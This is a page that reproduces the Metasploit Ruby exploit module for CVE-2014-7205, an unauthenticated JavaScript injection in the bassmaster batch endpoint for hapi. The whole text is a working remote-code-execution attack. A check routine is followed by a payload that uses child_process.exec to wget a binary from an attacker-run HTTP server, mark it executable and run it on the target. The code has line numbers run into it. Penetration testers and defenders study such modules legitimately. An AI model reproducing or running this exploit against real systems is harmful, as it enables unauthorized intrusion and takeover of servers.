Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/bassmaster_js_injection.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Remote::HttpServer10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(update_info(info,15'Name' => 'Bassmaster Batch Arbitrary JavaScript Injection Remote Code Execution',16'Description' => %q{17This module exploits an un-authenticated code injection vulnerability in the bassmaster18nodejs plugin for hapi. The vulnerability is within the batch endpoint and allows an19attacker to dynamically execute JavaScript code on the server side using an eval.2021Note that the code uses a '\x2f' character so that we hit the match on the regex.22},23'Author' =>24[25'mr_me <[email protected]>', # msf26'Jarda Kotesovec' # original bug finder27],28'References' =>29[30[ 'CVE', '2014-7205'],31[ 'URL', 'https://nodesecurity.io/advisories/bassmaster_js_injection'], # nodejs advisory32],33'License' => MSF_LICENSE,34'Platform' => ['linux', 'bsd'], # binary > native JavaScript35'Arch' => [ARCH_X86, ARCH_X64],36'Privileged' => false,37'Targets' =>38[39[ 'Bassmaster <= 1.5.1', {} ] # Other versions are also affected40],41'DefaultTarget' => 0,42'DisclosureDate' => '2016-11-01'))43register_options(44[45Opt::RPORT(8080), # default port for the examples/batch.js file46OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/batch"]), # default route for the examples/batch.js file47OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),48])49end5051def check5253# So if we can append an encapsulated string into the body54# we know that we can execute arbitrary JavaScript code55rando = rand_text_alpha(8+rand(8))56check = "+'#{rando}'"5758# testing59requests = [60{:method => "get", :path => "/profile"},61{:method => "get", :path => "/item"},62{:method => "get", :path => "/item/$1.id#{check}"}, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g;63]6465post = {:requests => requests}6667res = send_request_cgi({68'method' => 'POST',69'uri' => normalize_uri(datastore['URIPATH']),70'ctype' => 'application/json',71'data' => post.to_json72})7374# default example app75if res and res.code == 200 and res.body =~ /#{rando}/76return CheckCode::Vulnerable7778# non-default app79elsif res and res.code == 500 and res.body =~ /#{rando}/80return CheckCode::Appears81end8283return CheckCode::Safe84end8586def on_request_uri(cli, request)87if (not @pl)88print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")89return90end91print_status("#{rhost}:#{rport} - Sending the payload to the server...")92@elf_sent = true93send_response(cli, @pl)94end9596def send_payload97@bd = rand_text_alpha(8+rand(8))98pn = rand_text_alpha(8+rand(8))99register_file_for_cleanup("/tmp/#{@bd}")100cmd = "wget #{@service_url} -O \\x2ftmp\\x2f#{@bd};"101cmd << "chmod 755 \\x2ftmp\\x2f#{@bd};"102cmd << "\\x2ftmp\\x2f#{@bd}"103pay = ";require('child_process').exec('#{cmd}');"104105# pwning106requests = [107{:method => "get", :path => "/profile"},108{:method => "get", :path => "/item"},109{:method => "get", :path => "/item/$1.id#{pay}"}, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g;110]111112post = {:requests => requests}113114res = send_request_cgi({115'method' => 'POST',116'uri' => normalize_uri(datastore['URIPATH']),117'ctype' => 'application/json',118'data' => post.to_json119})120121# default example app122if res and res.code == 200 and res.body =~ /id/123return true124125# incase we are not targeting the default app126elsif res and res.code == 500 and res.body !=~ /id/127return true128end129return false130end131132def start_http_server133@pl = generate_payload_exe134@elf_sent = false135downfile = rand_text_alpha(8+rand(8))136resource_uri = "\\x2f#{downfile}"137if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")138srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)139else140srv_host = datastore['SRVHOST']141end142143@service_url = "http:\\x2f\\x2f#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}"144service_url_payload = srv_host + resource_uri145print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")146start_service({'Uri' => {147'Proc' => Proc.new { |cli, req|148on_request_uri(cli, req)149},150'Path' => resource_uri151},152'ssl' => false # do not use SSL153})154155connect156end157158def exploit159start_http_server160if send_payload161print_good("Injected payload")162# we need to delay, for the stager163select(nil, nil, nil, 5)164end165end166end167168169